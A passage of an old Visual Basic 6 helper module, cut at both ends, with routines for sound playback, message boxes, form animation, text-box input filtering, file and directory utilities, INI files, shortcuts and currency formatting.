GetShortPathName(sfile, sShortFile, Len(sShortFile))\nsfile = Left(sShortFile, lResult)\nlResult = mciSendString(\"open \" & sfile & \" type sequencer alias mcitest\", ByVal 0&, 0, 0)\nIf lResult Then\nlResult = mciGetErrorString(lResult, sError, 255)\nDebug.Print \"open: \" & sError\nEnd If\nEnd Sub\nSub PlayMidi()\n'\n'Used by MidiPlay SUB\n'\nDim lResult As Integer\nDim sError As String * 255\nlResult = mciSendString(\"play mcitest\", ByVal 0&, 0, 0)\nIf lResult Then\nlResult = mciGetErrorString(lResult, sError, 255)\nDebug.Print \"play: \" & sError\nEnd If\nEnd Sub\nSub StopMidi()\n'\n'Usage:\n' StopMidi 'Stop Any Midi File Playing\n'\nDim lResult As Integer\nDim sError As String * 255\nlResult = mciSendString(\"close mcitest\", \"\", 0&, 0&)\nIf lResult Then\nlResult = mciGetErrorString(lResult, sError, 255)\nDebug.Print \"stop: \" & sError\nEnd If\nEnd Sub\nSub Timeout(duration)\n'\n'Usage:\n' Timeout (1)\n'\nStartTime = Timer\nDo While Timer - StartTime < duration\nDoEvents\nLoop\nEnd Sub\nSub MsgBx()\n'\n'Usage:\n' Msg = \"Test Message\"\n' MsgBx\n'\nIf Msg = \"\" Then\nMsg = \"NO MESSAGE TO DISPLAY\"\nEnd If\nMsgBox Msg, vbOKOnly, title\nEnd Sub\nSub YN_Msgbox()\n'\n'Usage:\n' Title = \"Test Title\"\n' Msg = \"Quit?\"\n' YN_Msgbox\n' If Word = \"Y\" then\n' Msgbox \"Yes!\"\n' End if\n' If Word = \"N\" then\n' Msgbox \"No!\"\n' End if\n'\nDim style, CTXT, HELP, Response\nWord = \"\"\nstyle = vbYesNo + vbDefaultButton2\nCTXT = 1000\nResponse = MsgBox(Msg, style, title, HELP, CTXT)\nIf Response = vbYes Then\n Word = \"Y\"\nElse\n Word = \"N\"\nEnd If\nEnd Sub\nPublic Sub PlayWav(SFileName As String, Optional Mode)\n'\n'Usage:\n' PlayWav \"test.wav\",1 'Plays Wav With Out Delay.\n' PlayWav \"test.wav\",2 'Plays Wav With Delay.\n'\n Dim lReturn As Long\n On Error GoTo ErrorHandleFile\n If IsMissing(Mode) Then Mode = SND_ASYNC Or SND_NODEFAULT\n If (Mode And SND_ALIAS) <> SND_ALIAS Then\n If Len(Dir(Trim$(SFileName))) = 0 Then\n Exit Sub\n End If\n End If\n lReturn = sndPlaySound(SFileName, Mode)\nErrorHandleFile:\nEnd Sub\nSub StayOnTop(the As Form)\n'\n'Usage:\n' StayOnTop Form1\n'\nDim SetWinOnTop%\nSetWinOnTop = SetWindowPos(the.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)\nEnd Sub\nSub NumRND(NMBR As Long)\n'\n'Usage:\n' NumRND 999999999 'Nine Number Max.\n' Msgbox Dat\n'\nRandomize\nDat = Int(NMBR * Rnd)\nEnd Sub\nSub NumTextOnly(KeyR)\n'\n'Usage:\n' NumTextOnly KeyAscii 'Place This Code In The TextBox_KeyPressed Sub\n'\nConst numbers$ = \"0123456789\"\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\nSub NumTextOnlyWithDash(KeyR)\n'\n'Usage:\n' NumTextOnlyWithDash KeyAscii 'Place This Code In The TextBox_KeyPressed Sub\n'\nConst numbers$ = \"0123456789-\"\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\nSub NumTextOnlyWithDOT(KeyR, DataText As textBox)\n'\n'Usage:\n' NumTextOnlyWithDOT KeyAscii, text1 'Place This Code In The TextBox_KeyPressed Sub\n'\nDim a, b, c, USEdot\nUSEdot = True\nIf FirstLoad = True Then Exit Sub\na = Len(DataText)\nb = 1\nDo Until b = a\nIf b > a Then Exit Sub\nc = Mid$(DataText, b, 1)\nIf c = \".\" Then\nUSEdot = False\nEnd If\nb = b + 1\nLoop\nConst numbers$ = \"0123456789.\"\n'If USEdot = False Then\n'numbers$ = \"0123456789\"\n'Else\n'numbers$ = \"0123456789.\"\n'End If\n\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\n\nSub FormRunLeft(the As Form)\n'\n'Usage:\n' FormRunLeft Form1\n'\nDim counter\ncounter = the.Left\nDo: DoEvents\n counter = counter + 100\n the.Left = counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunRight(the As Form)\n'\n'Usage:\n' FormRunRight Form1\n'\nDim counter\ncounter = the.Left\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunDown(the As Form)\n'\n'Usage:\n' FormRunDown Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Top = counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunUp(the As Form)\n'\n'Usage:\n' FormRunUp Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Top = the.Top - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunLeftUp(the As Form)\n'\n'Usage:\n' FormRunLeftUp Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left - counter\n the.Top = the.Top - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunRightUp(the As Form)\n'\n'Usage:\n' FormRunRightUp Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left + counter\n the.Top = the.Top - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunRightDown(the As Form)\n'\n'Usage:\n' FormRunRightDown Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left + counter\n the.Top = the.Top + counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\n\nSub FormRunLeftDown(the As Form)\n'\n'Usage:\n' FormRunLeftDown Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left - counter\n the.Top = the.Top + counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub LimitText(KeyR, LimitDat)\n'\n'Usage:\n' LimitText KeyAscii, \"ABC.1\" 'Place This Code In The TextBox_KeyPressed Sub\n'\n ' Const\n Dim numbers$\n numbers$ = LimitDat\n\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\nSub WebLink(WeBLnk)\n'\n'Usage:\n'\nDim WL, nResult\nWL = \"start.exe \" & WeBLnk\nnResult = Shell(WL, vbHide)\nEnd Sub\n\nPublic Sub ExecCmd(cmdline$)\n'\n' Shell the Application then\n' Wait for the shelled application\n' to finish.\n'\n'Usage:\n' ExecCmd \"calc.exe\"\n'\n Dim proc As PROCESS_INFORMATION\n Dim start As STARTUPINFO\n Dim Ret&\n start.cb = Len(start)\n Ret& = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)\n ' Wait for the shelled application to finish:\n Ret& = WaitForSingleObject(proc.hProcess, INFINITE)\n Ret& = CloseHandle(proc.hProcess)\nEnd Sub\n\nSub DirSize(DirChk)\n'\n'Usage:\n' DirSize \"c:\\windows\"\n' Msg = \"Total bytes used = \" + DirChkSize\n' MsgBx\n'\nDim FileName As String\nDim FileSize As Currency\nDim Directory As String\nIf Len(DirChk) = 3 Then\nDirectory = DirChk\nElse\nDirectory = DirChk & \"\\\"\nEnd If\nFileName = Dir$(Directory & \"*.*\")\nFileSize = 0\nDo While FileName <> \"\"\nFileSize = FileSize + FileLen(Directory & FileName)\nFileName = Dir$\nLoop\nDirChkSize = Str$(FileSize)\nEnd Sub\nSub SupportSound()\n'\n'Usage:\n' SupportSound\n'\n'Return Value Supsound>> True = Yes - False = No\n'\n Dim i As Integer\n i = waveOutGetNumDevs()\n If i > 0 Then\n SupSound = True\n Else\n SupSound = False\n End If\nEnd Sub\n\nFunction WindowsSysDir() As String\n'\n'Usage:\n' WindowsSysDir\n' Msg = VBSysDir\n' msgbx\n'\n Dim Gwdvar As String, Gwdvar_Length As Integer\n Gwdvar = Space(255)\n Gwdvar_Length = GetSystemDirectory(Gwdvar, 255)\n VBSysDir = Left(Gwdvar, Gwdvar_Length)\nEnd Function\n\nPublic Function AddBackslash(s As String) As String\n'\n'Used By Other Sub's\n'\n If Len(s) > 0 Then\n If Right$(s, 1) <> \"\\\" Then\n AddBackslash = s + \"\\\"\n Else\n AddBackslash = s\n End If\n Else\n AddBackslash = \"\\\"\n End If\nEnd Function\n \nPublic Function RemoveBackslash(s As String) As String\n'\n'Used By Other Sub's\n'\n Dim i As Integer\n i = Len(s)\n If i <> 0 Then\n If Right$(s, 1) = \"\\\" Then\n RemoveBackslash = Left$(s, i - 1)\n Else\n RemoveBackslash = s\n End If\n Else\n RemoveBackslash = \"\"\n End If\nEnd Function\n \nPublic Function GetWindowsDirectory() As String\n'\n'Usage:\n' GetWindowsDirectory\n' Msgbox GetWinDir\n'\n Dim s As String\n Dim i As Integer\n i = GetWindowsDirectoryA(\"\", 0)\n s = Space(i)\n Call GetWindowsDirectoryA(s, i)\n GetWinDir = AddBackslash(Left$(s, i - 1))\nEnd Function\n\nPublic Function FileExists(ByVal strPathName As String) As Integer\n'\n'Usage:\n' FileExists \"c:\\test.exe\"\n' MsgBox IsFileThere\n'\n Dim intFileNum As Integer\n On Error Resume Next\n If Right$(strPathName, 1) = \"\\\" Then\n strPathName = Left$(strPathName, Len(strPathName) - 1)\n End If\n intFileNum = FreeFile\n Open strPathName For Input As intFileNum\n IsFileThere = IIf(Err, False, True)\n \n Close intFileNum\n Err = 0\nEnd Function\nPublic Function GetPath(s As String) As String\n'\n'Usage:\n' GetPath \"c:\\t.bat\"\n' MsgBox FlPath\n'\n Dim i As Integer\n Dim J As Integer\n \n i = 0\n J = 0\n \n i = InStr(s, \"\\\")\n Do While i <> 0\n J = i\n i = InStr(J + 1, s, \"\\\")\n Loop\n \n If J = 0 Then\n FlPath = \"\"\n Else\n FlPath = Left$(s, J)\n End If\nEnd Function\nPublic Function GetFile(s As String) As String\n'\n'Usage:\n' GetFile \"c:\\t.bat\"\n' MsgBox FlName\n'\n Dim i As Integer\n Dim J As Integer\n \n i = 0\n J = 0\n \n i = InStr(s, \"\\\")\n Do While i <> 0\n J = i\n i = InStr(J + 1, s, \"\\\")\n Loop\n \n If J = 0 Then\n FlName = \"\"\n Else\n FlName = Right$(s, Len(s) - J)\n End If\nEnd Function\n\n\nPublic Function sDriveType(sDrive As String) As String\n'\n'Usage:\n' sDriveType \"c\"\n' MsgBox sDType\n'\nDim lRet As Long\n lRet = GetDriveTypeA(sDrive & \":\\\")\n Select Case lRet\n Case 0\n sDType = \"Unknown\"\n \n Case 1\n sDType = \"Drive Not Found\"\n Case DRIVE_CDROM:\n sDType = \"CD-ROM Drive\"\n \n Case DRIVE_REMOVABLE:\n sDType = \"Removable Drive\"\n \n Case DRIVE_FIXED:\n sDType = \"Fixed Drive\"\n \n Case DRIVE_REMOTE:\n sDType = \"Remote Drive\"\n End Select\nEnd Function\nPublic Function ShellDelete(ParamArray vntFileName() As Variant) As Boolean\n'\n'Usage:\n' ShellDelete \"c:\\test.exe\"\n'\n Dim i As Integer\n Dim sFileNames As String\n Dim SHFileOp As SHFILEOPSTRUCT\n For i = LBound(vntFileName) To UBound(vntFileName)\n sFileNames = sFileNames & vntFileName(i) & vbNullChar\n Next\n \n sFileNames = sFileNames & vbNullChar\n With SHFileOp\n .wFunc = FO_DELETE\n .pFrom = sFileNames\n .fFlags = FOF_ALLOWUNDO + FOF_SILENT + FOF_NOCONFIRMATION\n End With\n i = SHFileOperation(SHFileOp)\n \n If i = 0 Then\n DelConFirm = True\n Else\n DelConFirm = False\n End If\nEnd Function\nPublic Sub ShadeForm(f As Form, Optional StartColor As Variant, Optional Fstep As Variant, Optional Cstep As Variant)\n'\n'Colors:\n' vbBlack\n' vbRed\n' vbGreen\n' vbYellow\n' vbBlue\n' vbMagenta\n' vbCyan\n' vbWhite\n'\n' StartColor is what color to start with.\n' (Default = vbBlue)\n'\n' Fstep is the number of steps to use to fill the form.\n' (Default = 64)\n'\n' Cstep is the color step (change in color per step).\n' (Default = 4)\n'\n'Usage:\n' ShadeForm StartUp, vbRed, 64, 4\n'\n Dim FillStep As Single\n Dim c As Long\n Dim FillArea As RECT\n Dim i As Integer\n Dim oldm As Integer\n Dim hBrush As Long\n Dim C2(1 To 3) As Long\n Dim cs2(1 To 3) As Long\n Dim fs As Long\n Dim cs As Integer\n \n fs = IIf(IsMissing(Fstep), 64, CLng(Fstep))\n cs = IIf(IsMissing(Cstep), 4, CInt(Cstep))\n c = IIf(IsMissing(StartColor), vbBlue, CLng(StartColor))\n \n \n oldm = f.ScaleMode\n f.ScaleMode = vbPixels\n FillStep = f.ScaleHeight / fs\n FillArea.Left = 0\n FillArea.Right = f.ScaleWidth\n FillArea.Top = 0\n C2(1) = c And 255#\n cs2(1) = IIf(C2(1) > 0, cs, 0)\n C2(2) = (c \\ 256#) And 255#\n cs2(2) = IIf(C2(2) > 0, cs, 0)\n C2(3) = (c \\ 65536#) And 255#\n cs2(3) = IIf(C2(3) > 0, cs, 0)\n \n \n For i = 1 To fs\n FillArea.Bottom = FillStep * i\n hBrush = CreateSolidBrush(RGB(C2(1), C2(2), C2(3)))\n FillRect f.hdc, FillArea, hBrush\n DeleteObject hBrush\n \n C2(1) = (C2(1) - cs2(1)) And 255#\n C2(2) = (C2(2) - cs2(2)) And 255#\n C2(3) = (C2(3) - cs2(3)) And 255#\n \n FillArea.Top = FillArea.Bottom\n Next i\n \n f.ScaleMode = oldm\nEnd Sub\nPublic Sub HideMouse()\n'\n'Usage:\n' HideMouse\n'\n Dim result As Integer\n \n Do\n lShowCursor = lShowCursor - 1\n result = ShowCursor(False)\n Loop Until result < 0\n \nEnd Sub\nPublic Sub ShowMouse()\n'\n'Usage:\n' ShowMouse\n'\n If lShowCursor > 0 Then\n Do While lShowCursor <> 0\n ShowCursor (False)\n lShowCursor = lShowCursor - 1\n Loop\n ElseIf lShowCursor < 0 Then\n Do While lShowCursor <> 0\n ShowCursor (True)\n lShowCursor = lShowCursor + 1\n Loop\n End If\nEnd Sub\nPublic Function CanPlaySound() As Integer\n'\n'Usage:\n' CanPlaySound\n' Msgbox Playinfo\n'\n Dim i As Integer\n i = AUDIO_NONE\n \n If waveOutGetNumDevs > 0 Then\n i = AUDIO_WAVE\n End If\n \n If midiOutGetNumDevs > 0 Then\n i = i + AUDIO_MIDI\n End If\n If i = 1 Then Playinfo = \"WAV ONLY\"\n If i = 2 Then Playinfo = \"MID ONLY\"\n If i = 3 Then Playinfo = \"WAV AND MID\"\nEnd Function\nPublic Sub GetBytes(ChkDrive)\n'\n'Usage:\n' GetBytes\n' Msgbox DriveFreeSpace\n'\nDim ApiRes As Long\nDim SectorsPerCluster As Long\nDim BytesPerSector As Long\nDim NumberOfFreeClusters As Long\nDim TotalNumberOfClusters As Long\nDim FreeBytes As Long\nDim drvStr As String\nDim spaceInt As Integer\ndrvStr = ChkDrive\nspaceInt = InStr(drvStr, \" \")\nIf spaceInt > 0 Then drvStr = Left$(drvStr, spaceInt - 1)\nIf Right$(drvStr, 1) <> \"\\\" Then drvStr = drvStr & \"\\\"\nDim NumberOFreeClusters\nApiRes = GetDiskFreeSpace(drvStr, SectorsPerCluster, BytesPerSector, NumberOFreeClusters, TotalNumberOfClusters)\nFreeBytes = NumberOFreeClusters * SectorsPerCluster * BytesPerSector\nDriveFreeSpace = FreeBytes\nEnd Sub\n\nPublic Sub FormatFloppy()\n'\n'Usage:\n' FormatFloppy\n'\nDim sBuffer As String, Windir As String, Procs As String, X\nDim lResult As Long\nDim K\nsBuffer = String$(255, 0)\nlResult = GetWindowDirectory(sBuffer, Len(sBuffer))\nWindir = Trim(sBuffer)\nProcs = Left(Windir, lResult) & \"\\rundll32.exe shell32.dll,SHFormatDrive\"\n Call CenterDialog(\"Format - 3┬╜ Floppy (A:)\")\n X = Shell(Procs, 1)\n Call CenterDialog(\"Format - 3┬╜ Floppy (A:)\")\nK = LockWindowUpdate(0)\nEnd Sub\nPublic Sub CenterDialog(WinText As String)\n'\n'This Sub Is Used By FormatFloppy\n'\nDoEvents\nOn Error Resume Next\nDim D3 As Long\nD3 = LockWindowUpdate(GetDesktopWindow())\nDim wdth%\nDim hght%\nDim Scrwdth%\nDim Scrhght%\nDim lpDlgRect As RECT\nDim lpdskrect As RECT\nDim X%, Y%\nDim hTaskBar As Long\nhTaskBar = FindWindow(0&, WinText)\n Call GetWindowRect(hTaskBar, lpDlgRect)\n wdth% = lpDlgRect.Right - lpDlgRect.Left\n hght% = lpDlgRect.Bottom - lpDlgRect.Top\n Call GetWindowRect(GetDesktopWindow(), lpdskrect)\n Scrwdth% = lpdskrect.Right - lpdskrect.Left\n Scrhght% = lpdskrect.Bottom - lpdskrect.Top\n \n X% = (Scrwdth% - wdth%) / 2\n Y% = (Scrhght% - hght%) / 2\n Call SetWindowPos(hTaskBar, 0, X%, Y%, 0, 0, SWP_NOZORDER Or SWP_NOSIZE)\nDoEvents\nEnd Sub\n\nPublic Sub ChkFileStats(File_Name_To_Chk)\n'\n'Usage:\n' ChkFileStats \"C:\\TEST.EXE\"\n' MsgBox FileInfoName 'File Name Without Path\n' MsgBox FileInfoPathName ' File Name With Path\n' MsgBox FileInfoSize 'File Size\n' MsgBox FileInfoLastModified 'File Last Modified\n' MsgBox FileInfoLastAccessed 'File Last Accessed\n' MsgBox FileInfoAttributeHidden 'File Attribute Hidden? True/False\n' MsgBox FileInfoAttributeSystem 'File Attribute System? True/False\n' MsgBox FileInfoAttributeReadOnly 'File Attribute Read Only? True/False\n' MsgBox FileInfoAttributeArchive 'File Attribute Archive? True/False\n' MsgBox FileInfoAttributeTemporary 'File Attribute Temporary? True/False\n' MsgBox FileInfoAttributeNormal 'File Attribute Normal? True/False\n' MsgBox FileInfoAttributeCompressed 'File Attribute Compressed? True/False\n'\nDim ftime As SYSTEMTIME\nDim tfilename As String\ntfilename = File_Name_To_Chk\nDim filedata As WIN32_FIND_DATA\nfiledata = Findfile(\"c:\\command.com\")\nFileInfoName = UCase$(File_Name_To_Chk)\nFileInfoPathName = UCase$(tfilename)\nGetFile FileInfoName\nFileInfoName = FlName\n\nIf filedata.nFileSizeHigh = 0 Then\n \nFileInfoSize = filedata.nFileSizeLow & \" Bytes\"\nElse\nFileInfoSize = filedata.nFileSizeHigh & \"Bytes\"\nEnd If\nCall FileTimeToSystemTime(filedata.ftCreationTime, ftime)\nCall FileTimeToSystemTime(filedata.ftLastWriteTime, ftime)\nFileInfoLastModified = ftime.wDay & \"/\" & ftime.wMonth & \"/\" & ftime.wYear\nCall FileTimeToSystemTime(filedata.ftLastAccessTime, ftime)\nFileInfoLastAccessed = ftime.wDay & \"/\" & ftime.wMonth & \"/\" & ftime.wYear\n\n\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_HIDDEN) = FILE_ATTRIBUTE_HIDDEN Then\n \nFileInfoAttributeHidden = True\nElse\nFileInfoAttributeHidden = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_SYSTEM) = FILE_ATTRIBUTE_SYSTEM Then\nFileInfoAttributeSystem = True\nElse\nFileInfoAttributeSystem = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_READONLY) = FILE_ATTRIBUTE_READONLY Then\nFileInfoAttributeReadOnly = True\nElse\nFileInfoAttributeReadOnly = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_ARCHIVE) = FILE_ATTRIBUTE_ARCHIVE Then\nFileInfoAttributeArchive = True\nElse\nFileInfoAttributeArchive = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_TEMPORARY) = FILE_ATTRIBUTE_TEMPORARY Then\nFileInfoAttributeTemporary = True\nElse\nFileInfoAttributeTemporary = True\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_NORMAL) = FILE_ATTRIBUTE_NORMAL Then\nFileInfoAttributeNormal = True\nElse\nFileInfoAttributeNormal = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_COMPRESSED) = FILE_ATTRIBUTE_COMPRESSED Then\nFileInfoAttributeCompressed = True\nElse\nFileInfoAttributeCompressed = False\nEnd If\nEnd Sub\n\nPublic Sub FindDosWin(ByVal WndCap As String)\n'\n'Usage:\n' FindDosWin UCase$(Text11.Text)\n' Msgbox DOSWinActive 'True = DOS Window Is Active \\ False = DOS Window Is Not Active\n'\n Dim hWndFrame As Long\n hWndFrame = FindWindowPartial(WndCap)\n If hWndFrame = 0 Then\n DOSWinActive = False\n Exit Sub\n End If\n DOSWinActive = True\n End Sub\n\n \nSub makeShortCut(sExecutable As String, sShortcut, sArguments, PlaceInWhere)\n'\n'Usage:\n' makeShortCut \"c:\\test.exe\", Testexe, \"\", (DESKTOP or STARTMENU or PATH TO PLACE SHORTCUT)\n'\nOn Error GoTo py\nDim lRet As Integer\nDim DestPth, CreatedPth\nPlaceInWhere = UCase$(PlaceInWhere)\n\nShort_Name sExecutable\nsExecutable = ShortFName\nFileExists sExecutable\nIf IsFileThere = False Then\nMsg = \"ERROR! Short Cut File You Want To Link To Does Not Exists\"\nMsgBx\nExit Sub\nEnd If\nIf PlaceInWhere = \"STARTMENU\" Then\nlRet = fCreateShellLink(\"\", sShortcut, sExecutable, sArguments)\nExit Sub\nEnd If\nGetWindowsDirectory\nIf PlaceInWhere = \"DESKTOP\" Then\nCreatedPth = GetWinDir & \"startm~1\\programs\\\" & sShortcut & \".pif\"\nDestPth = GetWinDir & \"desktop\\\" & sShortcut & \".pif\"\nElse\nCreatedPth = GetWinDir & \"startm~1\\programs\\\" & sShortcut & \".pif\"\nDestPth = PlaceInWhere & sShortcut & \".pif\"\nlRet = fCreateShellLink(\"\", sShortcut, sExecutable, sArguments)\nEnd If\n\n\nIf PlaceInWhere = \"DESKTOP\" Then\nFileExists DestPth\nIf IsFileThere = True Then\nShellDelete DestPth\nEnd If\nlRet = fCreateShellLink(\"\", sShortcut, sExecutable, sArguments)\nEnd If\nName CreatedPth As DestPth\nExit Sub\npy:\n\nEnd Sub\n\nPublic Function Short_Name(Long_Path As String) As String\n'\n'Usage:\n' Short_Name \"C:\\PathNameToProgram\\test.exe\"\n'ShortFname\n Dim Short_Path As String\n Dim Answer As Long\n Short_Path = Space(250)\n Answer = GetShortPathName(Long_Path, Short_Path, Len(Short_Path))\n ShortFName = Left$(Short_Path, Answer)\n\nEnd Function\nPublic Sub TerminateTask(app_name As String)\n'\n'Usage:\n' TerminateTask \"Active WIndow Name You Want To Kill\"\n'\n Target = app_name\n EnumWindows AddressOf EnumCallback, 0\nEnd Sub\n\nPublic Sub WriteINI(FileName As String, Section As String, Key As String, Text As String)\n'\n'Usage:\n' WriteINI \"c:\\test.ini\", \"section name\", \"key name\", \"text data\"\n'\nWritePrivateProfileString Section, Key, Text, FileName\nEnd Sub\nPublic Function ReadINI(FileName As String, Section As String, Key As String)\n'\n'Usage:\n' ReturnINIdat = ReadINI(\"c:\\test.ini\", \"section name\", \"key name\")\n' Msgbox INIFileFound 'True = File Found \\ False = File Found\nDim RetLen\nINIFileFound = True\nFileExists FileName\nIf IsFileThere = False Then\nINIFileFound = False\nExit Function\nEnd If\nRet = Space$(255)\nRetLen = GetPrivateProfileString(Section, Key, \"\", Ret, Len(Ret), FileName)\nRet = Left$(Ret, RetLen)\nReadINI = Ret\nEnd Function\n\nSub GetKeyboardInfo()\nDim r As Long\nDim t As String\nDim K As Long\nDim Q As Long\nK = GetKeyboardType(0)\nIf K = 1 Then t = \"PC or compatible 83-key keyboard\"\nIf K = 2 Then t = \"Olivetti 102-key keyboard\"\nIf K = 3 Then t = \"AT or compatible 84-key keyboard\"\nIf K = 4 Then t = \"Enhanced(IBM) 101-102-key keyboard\"\nIf K = 5 Then t = \"Nokia 1050 keyboard\"\nIf K = 6 Then t = \"Nokia 9140 keyboard\"\nIf K = 7 Then t = \"Japanese keyboard\"\nKeyBoardType = t\nQ = SystemParametersInfo(SPI_GETKEYBOARDDELAY, 0, r, 0)\nKeyBoardRepeatDelay = r\nQ = SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, r, 0)\nKeyBoardRepeatSpeed = r\nKeyBoardCaretFlashSpeed = GetCaretBlinkTime\nEnd Sub\n'here\nSub OpenCD_ROMDoor()\n'\n'Usage:\n' OpenCD_ROMDoor\n'\n'retvalue = mciSendString(\"set CDAudio door open\", returnstring, 127, 0)\nEnd Sub\nSub CloseCD_ROMDoor()\n'\n'Usage:\n' CloseCD_ROMDoor\n'\n'retvalue = mciSendString(\"set CDAudio door closed\", returnstring, 127, 0)\nEnd Sub\n\nSub Search32(dPath$, dpattern$, SFileName)\n'\n'Usage:\n' Search32 \"C:\\\", \"*.WAV\", \"c:\\DIR.TXT\"\n' | | | | | Name Of File To Save Files Found.\n' | Files To Search For Wildcards Can Be Used.\n' Directory To Start Search In. If Path = \"C:\\Windows\" The Search Will Search\n' The Windows Directory Then All It's Sub Directories.\n'\nClose #10\nOpen SFileName For Output As 10\nCall dirloop(dPath$, dpattern$)\nClose #10\nEnd Sub\n\n\nSub dirloop(thispath As String, thispattern As String)\n'\n'Used By Search32\n'\n Dim thisfile, thesefiles, thesedirs, X, checkfile\n If Right$(thispath, 1) <> \"\\\" Then thispath = thispath + \"\\\"\n thisfile = Dir$(thispath + thispattern, 0)\n Do While thisfile <> \"\"\n Print #10, LCase$(thispath + thisfile)\n thisfile = Dir$\n Loop\n \n thisfile = Dir$(thispath + \"*.\", 0)\n thesefiles = 0\n ReDim filelist(10)\n Do While thisfile <> \"\"\n thesefiles = thesefiles + 1\n If (thesefiles Mod 10) = 0 Then\n ReDim Preserve filelist(thesefiles + 10)\n End If\n filelist(thesefiles) = thisfile\n thisfile = Dir$\n Loop\n thisfile = Dir$(thispath + \"*.\", 16)\n checkfile = 1\n thesedirs = 0\n ReDim dirlist(10)\n Do While thisfile <> \"\"\n If thisfile = \".\" Or thisfile = \"..\" Then\n ElseIf thisfile = filelist(checkfile) Then\n checkfile = checkfile + 1\n Else\n thesedirs = thesedirs + 1\n If (thesedirs Mod 10) = 0 Then ReDim Preserve dirlist(thesedirs + 10)\n dirlist(thesedirs) = thisfile\n End If\n thisfile = Dir$\n Loop\n \n For X = 1 To thesedirs\n Call dirloop(thispath + dirlist(X), thispattern): DoEvents\n Next X\nEnd Sub\nSub GetDate()\n'Usage:\n' GetDate\n'\n' CurDate = Current Computer Date\n'\nCurDate = Date\nEnd Sub\n\nSub ClearAllTextBoxes(frmTarget As Form)\n'Usage:\n' ClearAllTextBoxes Form1\n'\nDim i, ctrltarget\n For i = 0 To (frmTarget.Controls.Count - 1)\n Set ctrltarget = frmTarget.Controls(i)\n If TypeOf ctrltarget Is textBox Then\n ctrltarget.Text = \"\"\n End If\n Next i\nEnd Sub\n\nSub GetAPPpath()\nDim X\n X = App.Path\n If Right$(X, 1) <> \"\\\" Then X = X + \"\\\"\n AppPath = UCase$(X)\nEnd Sub\nSub DallorPeriodSet(Tdat As textBox)\n'Usage:\n'\n' DallorPeriodSet Text1\n' msgbox DallorGet\n'\nDim a, b, Mrk1, c, d, C1, C2, C3, C4, C5\nDallorGet = \"0\"\nIf Tdat = \"\" Or Val(Tdat) = 0 Then Exit Sub\nMrk1 = False\na = Len(Tdat.Text) + 1\nb = 1\nd = 0\nDo Until b = a\nc = Mid$(Tdat, b, 1)\nIf c = \".\" Then Mrk1 = True\nIf Mrk1 = True Then d = d + 1\nDBa(b) = c\n\nb = b + 1\nLoop\nd = d - 1\nIf d = 0 Then d = 2\nc = Tdat\n'no period\nIf d = -1 And Mrk1 = False Then\nc = c & \".00\"\nDallorGet = c\nExit Sub\nEnd If\n'over flow 5.00573\nIf d > 2 Then\nDim v\nd = False\nFor b = Len(c) To 1 Step -1\nIf DBa(b) = \".\" Then\nElse\nIf Val(DBa(b)) >= 5 Then\nIf b - 2 <= 0 Then\n'\nElse\nIf DBa(b - 2) = \".\" Then\nd = True\nElse\nIf b - 1 <= 0 Then\n'\nElse\nIf d = False Then DBa(b - 1) = Val(DBa(b - 1)) + 1\nEnd If\nEnd If\nEnd If\nEnd If\nDim t, Y\nY = c\nc = \"\"\nFor t = 1 To Len(Y)\nc = c & DBa(t)\nNext t\nEnd If\nNext b\nDim e, f\na = 1\nb = \"\"\ne = 0\nMrk1 = False\nDo Until a = Len(c) + 1\nd = Mid$(c, a, 1)\nIf d = \".\" Then Mrk1 = True\nIf Mrk1 = False Then f = f & d\nIf Mrk1 = True And e <= 2 Then\nf = f & d\ne = e + 1\nEnd If\na = a + 1\nLoop\nDallorClean f\nf = DallorGet\nDallorGet = f\nExit Sub\nEnd If\nFor b = 1 To d\nc = c & \"0\"\nNext b\nDallorClean c\nc = DallorGet\nDallorGet = c\n\nEnd Sub\nSub DallorClean(DDat)\nOn Error GoTo yu\nDim a, b, c, f, Mrk1\nDallorGet = \"\"\na = 1\nc = 0\nMrk1 = False\nDo Until a = Len(DDat) + 1\nb = Mid$(DDat, a, 1)\nIf b = \".\" Then Mrk1 = True\nIf Mrk1 = False Then f = f & b\nIf Mrk1 = True Then\nc = c + 1\nIf c <= 3 Then\nf = f & b\nEnd If\nEnd If\na = 